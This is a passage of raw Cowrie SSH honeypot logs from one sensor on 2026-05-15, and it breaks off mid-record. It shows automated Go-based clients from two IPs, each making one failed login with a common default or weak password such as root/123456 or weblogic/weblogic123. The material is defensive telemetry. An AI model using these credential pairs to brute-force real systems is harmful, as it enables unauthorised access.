{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45304,"dst_ip":"159.203.135.109","dst_port":22,"session":"59ced35a54ea","protocol":"ssh","message":"New connection: 45.153.34.114:45304 (159.203.135.109:22) [session: 59ced35a54ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:52.404086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:52.408986Z","src_ip":"45.153.34.114","session":"59ced35a54ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:52.496904Z","src_ip":"45.153.34.114","session":"59ced35a54ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:52.868083Z","src_ip":"45.153.34.114","session":"59ced35a54ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:53.972289Z","src_ip":"45.153.34.114","session":"59ced35a54ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54208,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e89fe9ea9b5","protocol":"ssh","message":"New connection: 103.75.199.4:54208 (159.203.135.109:22) [session: 9e89fe9ea9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:55.315770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:55.321305Z","src_ip":"103.75.199.4","session":"9e89fe9ea9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:55.413111Z","src_ip":"103.75.199.4","session":"9e89fe9ea9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:55.687724Z","src_ip":"103.75.199.4","session":"9e89fe9ea9b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:56.782552Z","src_ip":"103.75.199.4","session":"9e89fe9ea9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49654,"dst_ip":"159.203.135.109","dst_port":22,"session":"e09f0954a4f3","protocol":"ssh","message":"New connection: 45.153.34.114:49654 (159.203.135.109:22) [session: e09f0954a4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:59.918767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:59.926138Z","src_ip":"45.153.34.114","session":"e09f0954a4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:00.012233Z","src_ip":"45.153.34.114","session":"e09f0954a4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:00.485669Z","src_ip":"45.153.34.114","session":"e09f0954a4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:01.578467Z","src_ip":"45.153.34.114","session":"e09f0954a4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49660,"dst_ip":"159.203.135.109","dst_port":22,"session":"f81a17540a49","protocol":"ssh","message":"New connection: 45.153.34.114:49660 (159.203.135.109:22) [session: f81a17540a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:07.495153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:07.500858Z","src_ip":"45.153.34.114","session":"f81a17540a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:07.586424Z","src_ip":"45.153.34.114","session":"f81a17540a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:07.850744Z","src_ip":"45.153.34.114","session":"f81a17540a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:09.089475Z","src_ip":"45.153.34.114","session":"f81a17540a49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42936,"dst_ip":"159.203.135.109","dst_port":22,"session":"16908ecabfba","protocol":"ssh","message":"New connection: 45.153.34.114:42936 (159.203.135.109:22) [session: 16908ecabfba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:15.067955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:15.073104Z","src_ip":"45.153.34.114","session":"16908ecabfba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:15.160832Z","src_ip":"45.153.34.114","session":"16908ecabfba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:15.417416Z","src_ip":"45.153.34.114","session":"16908ecabfba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:16.508614Z","src_ip":"45.153.34.114","session":"16908ecabfba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50630,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4afc2d8c4ee","protocol":"ssh","message":"New connection: 103.75.199.4:50630 (159.203.135.109:22) [session: c4afc2d8c4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:17.229803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:17.234635Z","src_ip":"103.75.199.4","session":"c4afc2d8c4ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:17.325785Z","src_ip":"103.75.199.4","session":"c4afc2d8c4ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:17.599344Z","src_ip":"103.75.199.4","session":"c4afc2d8c4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:18.693472Z","src_ip":"103.75.199.4","session":"c4afc2d8c4ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38986,"dst_ip":"159.203.135.109","dst_port":22,"session":"5113df59bb3f","protocol":"ssh","message":"New connection: 45.153.34.114:38986 (159.203.135.109:22) [session: 5113df59bb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:22.795084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:22.799344Z","src_ip":"45.153.34.114","session":"5113df59bb3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:22.892566Z","src_ip":"45.153.34.114","session":"5113df59bb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:23.143125Z","src_ip":"45.153.34.114","session":"5113df59bb3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:24.228451Z","src_ip":"45.153.34.114","session":"5113df59bb3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54038,"dst_ip":"159.203.135.109","dst_port":22,"session":"24d3dd5b6d8b","protocol":"ssh","message":"New connection: 45.153.34.114:54038 (159.203.135.109:22) [session: 24d3dd5b6d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:30.394064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:30.399513Z","src_ip":"45.153.34.114","session":"24d3dd5b6d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:30.491701Z","src_ip":"45.153.34.114","session":"24d3dd5b6d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:30.850445Z","src_ip":"45.153.34.114","session":"24d3dd5b6d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:31.937539Z","src_ip":"45.153.34.114","session":"24d3dd5b6d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54050,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6c71eb3041b","protocol":"ssh","message":"New connection: 45.153.34.114:54050 (159.203.135.109:22) [session: e6c71eb3041b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:38.065970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:38.070594Z","src_ip":"45.153.34.114","session":"e6c71eb3041b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ec